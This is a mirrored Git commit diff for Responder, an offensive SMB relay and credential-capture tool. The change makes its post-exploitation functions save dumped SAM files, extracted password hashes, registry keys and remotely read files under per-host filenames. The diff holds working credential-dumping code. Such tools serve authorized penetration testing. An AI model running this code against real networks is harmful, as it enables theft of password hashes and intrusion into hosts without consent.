mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 21:03:33 -07:00
Added: Logs dumped files for multiple targets
This commit is contained in:
parent
6bcd6c44cd
commit
d5601056b3
1 changed files with 7 additions and 7 deletions
|
@ -1126,14 +1126,14 @@ def DumpHashes(data, s, Host):
|
||||||
data = ModifySMBRetCode(data)
|
data = ModifySMBRetCode(data)
|
||||||
|
|
||||||
#After everything has been cleaned up, we write to file and call creddump
|
#After everything has been cleaned up, we write to file and call creddump
|
||||||
WriteOutputToFile(Output, "./Sam.tmp")
|
WriteOutputToFile(Output, "./Sam-"+Host[0]+".tmp")
|
||||||
try:
|
try:
|
||||||
Hashes = dump_file_hashes(BootKey, SaveSam_Path+"/Sam.tmp")
|
Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host[0]+".tmp")
|
||||||
WriteOutputToFile(Hashes, "./Hash-Dumped.txt")
|
WriteOutputToFile(Hashes, "./Hash-Dump-"+Host[0]+".txt")
|
||||||
except:
|
except:
|
||||||
print "[+] Live dump failed, is python-crypto installed? "
|
print "[+] Live dump failed, is python-crypto installed? "
|
||||||
pass
|
pass
|
||||||
print "[+] The SAM file was saved in: ./relay-dumps/Sam.tmp and the hashes in ./relay-dumps/Hash-Dumped.txt"
|
print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host[0]+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host[0]+".txt"
|
||||||
return data
|
return data
|
||||||
|
|
||||||
except:
|
except:
|
||||||
|
@ -1191,8 +1191,8 @@ def SaveAKey(data, s, Host, Key):
|
||||||
data = ModifySMBRetCode(data)
|
data = ModifySMBRetCode(data)
|
||||||
|
|
||||||
#After everything has been cleaned up, we write the output to a file.
|
#After everything has been cleaned up, we write the output to a file.
|
||||||
WriteOutputToFile(Output, Key+".tmp")
|
WriteOutputToFile(Output, Host[0]+"-"+Key+".tmp")
|
||||||
print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Key+".tmp"
|
print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host[0]+"-"+Key+".tmp"
|
||||||
return data
|
return data
|
||||||
|
|
||||||
except:
|
except:
|
||||||
|
@ -1218,7 +1218,7 @@ def GetAfFile(data, s, File, Host):
|
||||||
File = File.replace("/","\\")
|
File = File.replace("/","\\")
|
||||||
data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s)
|
data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s)
|
||||||
data,s,Output = GrabAndRead(f, File, data, s)
|
data,s,Output = GrabAndRead(f, File, data, s)
|
||||||
WriteOutputToFile(Output, File)
|
WriteOutputToFile(Output, Host[0]+"-"+File)
|
||||||
print "[+] Done."
|
print "[+] Done."
|
||||||
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue